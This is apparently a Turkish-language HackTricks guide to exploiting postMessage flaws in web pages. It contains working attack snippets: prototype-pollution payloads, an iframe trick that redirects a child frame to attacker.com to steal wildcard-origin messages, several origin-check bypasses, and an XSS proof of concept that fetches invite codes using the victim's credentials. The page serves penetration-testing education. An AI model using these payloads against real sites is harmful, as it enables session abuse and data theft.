PostMessage Açıkları
Reading time: 8 minutes
PostMessage Açıkları
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Gönder PostMessage
PostMessage bir mesaj göndermek için aşağıdaki fonksiyonu kullanır:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Not edin ki targetOrigin bir '*' veya https://company.com gibi bir URL olabilir.
İkinci senaryoda, mesaj yalnızca o domaine gönderilebilir (pencere nesnesinin kökeni farklı olsa bile).
Eğer joker karakter kullanılıyorsa, mesajlar herhangi bir domaine gönderilebilir ve Pencere nesnesinin kökenine gönderilecektir.
iframe saldırısı & targetOrigin'de joker karakter
bu raporda açıklandığı gibi, iframed (hiçbir X-Frame-Header
koruması yok) olabilen bir sayfa bulursanız ve bu sayfa joker karakter (*) kullanarak duyarlı mesaj gönderiyorsa, iframe'in kökenini değiştirebilir ve duyarlı mesajı sizin kontrolünüzdeki bir domaine sızdırabilirsiniz.
Sayfanın iframed olabileceğini ancak targetOrigin'in bir URL'ye ve joker karaktere ayarlanmadığını not edin, bu numara çalışmayacaktır.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener istismarı
addEventListener
JS tarafından postMessages
bekleyen fonksiyonu tanımlamak için kullanılan işlevdir.
Aşağıdaki gibi bir kod kullanılacaktır:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Not edin ki bu durumda kodun yaptığı ilk şey kaynağı kontrol etmek. Bu, alınan bilgilerle herhangi bir hassas işlem yapılacaksa (örneğin bir şifre değiştirme) son derece önemlidir. Eğer kaynak kontrol edilmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesini sağlayabilir ve kurbanların şifrelerini değiştirebilir (bu örnekte).
Sayım
Mevcut sayfadaki olay dinleyicilerini bulmak için şunları yapabilirsiniz:
- JS kodunda
window.addEventListener
ve$(window).on
(JQuery versiyonu) için arama yapın - Geliştirici araçları konsolunda şunu çalıştırın:
getEventListeners(window)
- Tarayıcının geliştirici araçlarında Elements --> Event Listeners kısmına gidin
- https://github.com/benso-io/posta veya https://github.com/fransr/postMessage-tracker gibi bir tarayıcı uzantısı kullanın. Bu tarayıcı uzantıları tüm mesajları yakalar ve size gösterir.
Kaynak kontrolü atlamaları
event.isTrusted
niteliği güvenli kabul edilir çünkü yalnızca gerçek kullanıcı eylemleri tarafından üretilen olaylar içinTrue
döner. Doğru bir şekilde uygulanırsa atlanması zor olsa da, güvenlik kontrollerindeki önemi dikkate değerdir.- PostMessage olaylarında kaynak doğrulaması için
indexOf()
kullanımı atlamaya karşı hassas olabilir. Bu zayıflığı gösteren bir örnek:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
String.prototype.search()
'ten gelensearch()
metodu düzenli ifadeler için tasarlanmıştır, dizeler için değil. Regexp dışında bir şey geçmek, regex'e örtük dönüşüme yol açar ve bu metodun potansiyel olarak güvensiz olmasına neden olur. Bunun nedeni, regex'te bir noktanın (.) joker karakter olarak işlev görmesi ve özel olarak hazırlanmış alan adlarıyla doğrulamanın atlanmasına izin vermesidir. Örneğin:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
search()
ile benzer olanmatch()
fonksiyonu da regex işler. Eğer regex yanlış yapılandırılmışsa, atlamaya karşı hassas olabilir. -
escapeHtml
fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliğihasOwnProperty
'yi tanımayacak şekilde manipüle edilebiliyorsa,escapeHtml
beklenildiği gibi çalışmayacaktır. Bu aşağıdaki örneklerde gösterilmektedir: -
Beklenen Hata:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- Kaçırma:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
Bu zayıflık bağlamında, File
nesnesi, salt okunur name
özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında escapeHtml
fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açar.
- JavaScript'teki
document.domain
özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir ve bu, aynı üst alan adı içinde daha gevşek bir aynı köken politikası uygulanmasına olanak tanır.
e.origin == window.origin atlaması
Bir web sayfasını %%%%%% kullanarak sandboxed iframe içinde gömülü hale getirirken, iframe'in kaynağının null olarak ayarlanacağını anlamak önemlidir. Bu, sandbox özellikleri ve bunların güvenlik ve işlevsellik üzerindeki etkileriyle ilgili olarak özellikle önemlidir.
allow-popups
sandbox niteliğinde belirtilerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, allow-popups-to-escape-sandbox
niteliği de dahil edilmediği sürece, açılır pencerenin kaynağının da null
olarak ayarlandığı anlamına gelir ve bu, iframe'in kaynağıyla aynı hale gelir.
Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye postMessage
kullanılarak bir mesaj gönderildiğinde, hem gönderim hem de alım uçlarının kaynakları null
olarak ayarlanır. Bu durum, e.origin == window.origin
ifadesinin doğru olduğu bir senaryo oluşturur (null == null
), çünkü hem iframe hem de açılır pencere null
değerine sahip aynı kaynak değerini paylaşır.
Daha fazla bilgi için okuyun:
Bypassing SOP with Iframes - 1
e.source atlaması
Mesajın, scriptin dinlediği aynı pencereden gelip gelmediğini kontrol etmek mümkündür (özellikle tarayıcı uzantılarından gelen İçerik Scriptleri için mesajın aynı sayfadan gönderilip gönderilmediğini kontrol etmek ilginçtir):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
Bir mesajın e.source
değerini null yapmak için, postMessage gönderen ve hemen silinen bir iframe oluşturabilirsiniz.
Daha fazla bilgi için şunu okuyun:
Bypassing SOP with Iframes - 2
X-Frame-Header atlatma
Bu saldırıları gerçekleştirmek için ideal olarak kurban web sayfasını bir iframe
içine alabilmeniz gerekir. Ancak X-Frame-Header
gibi bazı başlıklar bu davranışı engelleyebilir.
Bu senaryolarda, daha az gizli bir saldırı kullanmaya devam edebilirsiniz. Zayıf noktası olan web uygulamasına yeni bir sekme açabilir ve onunla iletişim kurabilirsiniz:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Çocuk sayfasına gönderilen mesajı çalmak için ana sayfayı engelleme
Aşağıdaki sayfada, veriyi göndermeden önce ana sayfayı engelleyerek bir çocuk iframe'e gönderilen hassas postmessage verisini nasıl çalabileceğinizi görebilirsiniz ve çocukta bir XSS kullanarak veriyi sızdırabilirsiniz:
Blocking main page to steal postmessage
iframe konumunu değiştirerek mesajı çalmak
X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, o çocuk iframe'in konumunu değiştirebilirsiniz, böylece eğer bir wildcard kullanılarak gönderilen bir postmessage alıyorsa, bir saldırgan o iframe'in kaynağını kendisinin kontrol ettiği bir sayfaya değiştirebilir ve mesajı çalabilir:
Steal postmessage modifying iframe location
postMessage ile Prototip Kirlenmesi ve/veya XSS
postMessage
ile gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, sayfayı iframe'leyebilir ve prototip kirlenmesi/XSS açığını postMessage aracılığıyla göndererek istismar edebilirsiniz.
postMessage aracılığıyla çok iyi açıklanmış XSS örnekleri https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html adresinde bulunabilir.
Bir iframe
'e postMessage
aracılığıyla Prototip Kirlenmesi ve ardından XSS istismar etmek için bir örnek:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
Daha fazla bilgi için:
- prototip kirlenmesi hakkında sayfaya bağlantı
- XSS hakkında sayfaya bağlantı
- istemci tarafı prototip kirlenmesi ile XSS hakkında sayfaya bağlantı
Referanslar
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Pratik yapmak için: https://github.com/yavolo/eventlistener-xss-recon
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.